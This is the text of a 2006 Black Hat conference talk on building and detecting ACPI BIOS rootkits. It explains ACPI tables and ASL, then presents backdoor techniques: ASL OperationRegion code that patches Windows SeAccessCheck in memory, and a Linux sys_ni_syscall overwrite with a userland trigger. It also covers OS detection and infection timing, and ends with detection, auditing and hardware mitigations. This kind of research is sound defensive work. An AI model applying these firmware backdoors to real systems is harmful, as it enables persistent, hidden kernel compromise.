Implementing and Detecting
an ACPI BIOS Rootkit
John Heasman - Black Hat Europe 2006
BIOS
Code that runs when the computer is powered
on; initialises chipset, memory subsystem,
devices and diagnostics
Rootkit
Code run by an attacker after compromise
to make further use of system resources
without detection
Why target the BIOS?
Survives reboots and power cycles
Leaves no trace on disk
Survives and re-infects re-installations of same OS
Survives and re-infects re-installations of a new OS
Hard to detect
Hard to remove
Difficulties for the Rootkit Writer
Harnessing low level functionality to achieve high level
goal
Avoiding re-development for different BIOSes
Future-proofing against upgrades and re-installations
Deployment
Avoiding detection
Advanced Configuration
and Power Interface
A Brief History of Power Management
Energy
Star
Guidelines
Advanced
Configuration/
Advanced Power
Power Power Interface 1.0 ACPI 3.0
management Management (ACPI) ACPI
in Intel CPUs (APM) 2.0
1989 1992 1996 2000 2004
The Problems with APM
Implemented in BIOS, no application UI
Can only monitor motherboard interfaces
Often buggy, difficult to debug
OS reliability dependant on quality of firmware
The Benefits of ACPI
OS Power Management (OSPM)
Easier to trace and debug
Results in lower hardware interrupt latency
Efficient wrt size of firmware
Typical ACPI Implementation
Applications
Kernel OSPM System Code
Device Driver ACPI Drivers/
AML Interpreter
ACPI Registers ACPI BIOS ACPI Tables
BIOS Hardware
Key Tables
RSD PTR FADT
POINTER XSDT
HEADER
POINTER
HEADER DSDT
CONTENTS
ENTRY HEADER
ENTRY
CONTENTS
ENTRY
…
Typical ACPI Namespace
Sample ASL for Thermal Zone
Scope(\_TZ)
{
ThermalZone(TMZN)
{
Name(_AC0, 3272)
Name(_AL0, Package {FAN})
....
}
Device(FAN)
{
Name(_HID, 0xb00cd041)
Name(_PR0, Package {PFAN})
}
OperationRegion(FANR,SystemIO, 0x8000, 0x10)
Field(FANR, ByteAcc, NoLock, Preserve) {FCTL, 8}
PowerSource(PFAN, 0, 0)
{
Method(_ON) { Store(0x4,FCTL) }
Method(_OFF) { Store(0x0,FCTL) }
}
}
ASL Language Constructs
Flow Control: If, Else, While, Switch
Arithmetic: Add, Sub, Multiply, Divide
Bitwise: And, Nand, Or, Nor, Xor, Not
Datatype: ToInteger, ToString, ToBuffer
Synchronisation: Acquire, Release, Wait, Sleep
OperationRegions
Used to define interface to hardware
OperationRegion (Name, Space, Offset, Length)
• Regions subdivided into fields
• Can be read only or read/write
Valid Region Spaces
PCI_Config
SMBus
CMOS
SystemIO
SystemMemory
Abusing ACPI
A Simple NT Backdoor
SeAccesscheck: Kernel function to determine if access
rights can be granted
BOOLEAN SeAccessCheck(
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
IN BOOLEAN SubjectContextLocked,
IN ACCESS_MASK DesiredAccess,
IN ACCESS_MASK PreviouslyGrantedAccess,
OUT PPRIVILEGE_SET *Privileges OPTIONAL,
IN PGENERIC_MAPPING GenericMapping,
IN KPROCESSOR_MODE AccessMode,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
);
AccessMode specifies call from kernel or user mode
Define OperationRegion to write a single byte
OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve)
{
FLD1, 0x8
}
Store (0x0, FLD1)
Resulting disassembly:
nt!SeAccessCheck:
80c04008 8bff mov edi,edi
80c0400a 55 push ebp
...
...
80c04044 385d24 cmp [ebp+0x24],bl
80c04047 7500 jnz nt!SeAccessCheck+0x41 (80c04049)
80c04049 8b4514 mov eax,[ebp+0x14]
80c0404c a900000002 test eax,0x2000000
A Simple Linux Backdoor
Syscalls in Linux: arch\i386\kernel\syscall_table.S, sys_call_table[]
Unused syscalls handler is sys_ni_syscall()
/*
* Non-implemented system calls get redirected here.
*/
asmlinkage long sys_ni_syscall(void)
{
return -ENOSYS;
}
Overwrite sys_ni_syscall handler to introduce a backdoor
OperationRegion to overwrite sys_ni_syscall()
OperationRegion(NISC, SystemMemory, 0x12BAE0, 0x40)
Field(NISC, AnyAcc, NoLock, Preserve)
{
NICD, 0x40
}
Store(Buffer () {0xFF, 0xD3, 0xC3, 0x90, 0x90, 0x90, 0x90,0x90}, NICD)
Overwrite with { call ebx; retn; nop; nop; nop; nop; nop}
#include <syscall.h>
#define UNUSED 0x11 // Look in syscall_table.S
int backdoor()
{ // Attacker code executes in kernel
return –ENOSYS;
}
int main() { return syscall(UNUSED, &backdoor); }
Executing Native Code
Makes deploying a rootkit easier
Add new entry to AML opcode table
struct ACPI_OPCODE
{
char *opcode_name;
unsigned int opcode_value;
...
int (*AML_work_function)()
}
Work function executes native code
Using the Realtime Clock
I/O to 0x70 & 0x71 to read the RTC
• Use a SystemIO OperationRegion
Different behaviour depending on date & time
• e.g. Only infect once a month
Infecting Windows During Install
• ACPI.SYS loaded in both Text-mode and GUI-mode
• Can launch user mode apps in GUI-mode
Future Proofing
1. Perform OS version detection
• Infect only if target hasn’t changed
2. Support known OS configurations
• Analogous to writing a multi-target exploit
3. Devise generic method of executing native code
• Infect a future, unknown OS version
OS Detection
Via the _OS object:
Store (\_OS, local0)
If (LEqual (local0, "Microsoft Windows NT")) { …}
Via the _OSI method:
if (\_OSI("Windows 2001")) { … }
OS Detection Cont.
But Linux lies!
Configure OS name via bootloader:
acpi_os_name = "Microsoft Windows 2000"
Better OS detection through probing phys mem:
• Look for PE or ELF headers
• Known values at known offsets
• Need a “search mem” method…
Detection &
Prevention
Detection
1. Use an existing tool
• VICE
• Blacklight
• RootkitRevealer et al.
2. Use OS auditing capabilities for ACPI messages
• XP and 2003 EventLog
• Linux dmesg
Auditing ACPI Tables
1. Disable ACPI in the BIOS or boot off alternate media
• No ACPI drivers!
2. Retrieve ACPI tables
• Windows - HKLM\HARDWARE\ACPI\DSDT
• Linux - /proc/acpi (or DSDT from file)
• Intel IASL tools retrieve and disassemble
• Or DIY from physical memory
3. Locate suspicious OperationRegions
Runtime Analysis
AML Debugger in WinDBG (need checked ACPI.SYS)
AMLI(? for help)-> ?
Clear Breakpoints - bc <bp list> | *
Disable Breakpoints - bd <bp list> | *
Enable Breakpoints - be <bp list> | *
List Breakpoints - bl
Set Breakpoints - bp <MethodName> | <CodeAddr> ...
AMLI(? for help)-> g
CheckSystemIOAddressValidity: Passing for compatibility
reasons on illegal IO address (0x70).
CheckSystemIOAddressValidity: Passing for compatibility
reasons on illegal IO address (0x71).
Hardware Mitigations
Prevent Reflashing (MOBO jumpers)
Digital SecureBIOS
MOBO requires signed BIOS Phoenix TrustedCore
Intel Secure Flash
But not dual BIOS MOBOs! (e.g. Gigabyte DualBIOS)
Future Work
Trojan interesting control methods
• Laptop - lid opening/closing
• Addition of new hardware, e.g. USB key
• Manipulation of sleep states
OS Detection through AML anomalies
• Any useful interpreter bugs?
ACPI Table Auditing Tool
• Part of a rootkit detection tool set
References
ACPI Specification
http://www.acpi.info
Intel IASL Tools
http://developer.intel.com/technology/iapc/acpi/
Microsoft ASL Compiler and Resources
http://www.microsoft.com/whdc/system/pnppwr/powerm
gmt/default.mspx
Any Questions?
Thanks!
